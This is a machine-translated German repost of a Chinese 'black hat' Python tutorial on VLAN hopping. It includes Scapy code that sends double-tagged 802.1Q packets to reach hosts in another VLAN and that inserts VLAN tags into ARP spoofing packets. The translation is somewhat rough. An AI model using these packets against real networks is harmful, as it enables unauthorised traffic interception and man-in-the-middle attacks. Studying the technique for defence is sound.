Heim  >  Artikel  >  Backend-Entwicklung  >  Python-Black-Hat-Programmierung 3.4 über VLAN

Python-Black-Hat-Programmierung 3.4 über VLAN

高洛峰
高洛峰Original
2017-02-24 15:29:011683Durchsuche

VLAN (Virtual Local Area Network) ist ein virtuelles Netzwerk, das auf der Ethernet-Interaktionstechnologie basiert. Es kann nicht nur dasselbe physische Netzwerk in mehrere VALNs aufteilen, sondern auch physische Netzwerkbarrieren überwinden und Benutzer in verschiedene Subnetze in dasselbe aufteilen VLAN. Abbildung 2 ist ein Beispiel für die VLAN-Aufteilung.

Python黑帽编程 3.4 跨越VLAN

Abbildung 2

Es gibt viele Möglichkeiten, VLAN zu implementieren. Es gibt im Allgemeinen zwei Arten der VLAN-Aufteilung basierend auf Switching-Geräten:

l Switch-basierte Portaufteilung

l Basierend auf dem IEEE 802.1q-Protokoll, erweitertes Ethernet-Frame-Format

Layer 2-basiertes VLAN In der Technologie gibt es das Konzept des Trunking, das zur Verbindung verschiedener Switches verwendet wird, um sicherzustellen, dass Mitglieder desselben VLAN, das über mehrere Switches hinweg eingerichtet ist, miteinander kommunizieren können. Die für die Verbindung zwischen Switches verwendeten Ports werden Trunk-Ports genannt. Zusätzlich zu 80.2.1q verfügt Cisco über ein eigenes Trunk-Protokoll namens ISL.

Python黑帽编程 3.4 跨越VLAN

Abbildung 3

Abbildung 3 ist ein 802.1q-Datenpaket, das sich nicht wesentlich von einem gewöhnlichen Ethernet-Frame unterscheidet Fügen Sie ein VLAN-Tag hinzu. Der VLAN-Identifier im roten Teil identifiziert, zu welchem ​​VLAN ein Datenpaket gehört, und stellt so sicher, dass sich der Bereich der übertragenen Daten nicht über VLANs erstreckt.

Lassen Sie uns nun kurz darüber nachdenken. Wenn wir über VLANs hinweg kommunizieren möchten, müssen wir dann nur die Kennung im Datenpaket ändern?

3.4.1 VLAN-Hopping

Basierend auf der obigen Analyse betrachten wir ein einfaches Szenario: Cross-VLAN ping: Senden Sie eine Ping-Anfrage von einem Host in Vlan1 an einen Host in Vlan2.

Vor der spezifischen Codierung müssen wir noch das Problem der VLAN-Paketkonstruktion lösen. In Scapy verwenden wir die Dot1Q-Klasse, um den Tag-Teil in Abbildung 3 zu erstellen. Wie in Abbildung 4 dargestellt.

Python黑帽编程 3.4 跨越VLAN

Abbildung 4

Jetzt können wir eine Cross-VLAN-Ping-Anfrage schreiben.

#!/usr/bin/python 
from scapy.all import * 
packet = Ether(dst="c0:d3:de:ad:be:ef") / \
Dot1Q(vlan=1) / \
Dot1Q(vlan=2) / \
IP(dst="192.168.13.3") / \
ICMP() 
sendp(packet)

Im obigen Code geben wir die MAC- und IP-Adresse des Zielhosts an und fügen zwei VLAN-Kennungen hinzu. Die erste ist zu senden Das VLAN, in dem sich der Datenhost befindet, und das zweite ist das VLAN, in dem sich der Zielhost befindet. Der Switch entfernt die erste Kennung und leitet das Paket an den Zielhost weiter, wenn er die zweite Kennung liest.

3.4.2 VLAN-übergreifendes ARP-Spoofing

Abschnitt 3.1, 3.2 und 3.3 Wir diskutieren alle über das Problem des ARP-Spoofings. Da VLAN die Broadcast-Domäne einschränkt, kann unser bisheriger Code kein ARP-Spoofing über VLANs hinweg durchführen. Es ist jedoch sehr einfach, dieses Problem zu lösen. Wir müssen lediglich die VLAN-Kennung in die zuvor erstellten ARP-Spoofing-Daten einfügen. Der folgende Code ist der Code, den wir zum Erstellen des ARP-Anforderungspakets in Abschnitt 3.1 verwendet haben.

def build_req():
if options.target is None:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print "[-] Error: Could not resolve targets MAC address"
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
return pkt

Im Teil des Aufbaus des Datenpakets fügen wir die VLAN-Kennung ein:

pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

Auf diese Weise kann Cross-VLAN-ARP-Spoofing erreicht werden.

3.4.3 Zusammenfassung

In diesem Abschnitt geht es hauptsächlich darum, wie Datenpakete erstellt werden, um VLAN zu fälschen und Cross zu erreichen -VLAN-Datenkommunikation und ARP-Spoofing-Zwecke. Es ist zu beachten, dass die Methode in diesem Artikel hauptsächlich für das 802.1Q-Protokoll gilt und keine Auswirkungen auf VLANs hat, die physisch durch Ports isoliert sind.

Das Obige ist die detaillierte Erklärung der vom Herausgeber eingeführten Python-Black-Hat-Programmierung 3.4. Ich hoffe, dass sie Ihnen hilfreich sein wird. Wenn Sie Fragen haben, hinterlassen Sie mir bitte eine Nachricht Der Herausgeber wird rechtzeitig antworten. Ich möchte mich auch bei Ihnen allen für Ihre Unterstützung der chinesischen PHP-Website bedanken!

Weitere Artikel zum Thema Python Black Hat Programming 3.4 Cross-VLAN finden Sie auf der chinesischen PHP-Website!


Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn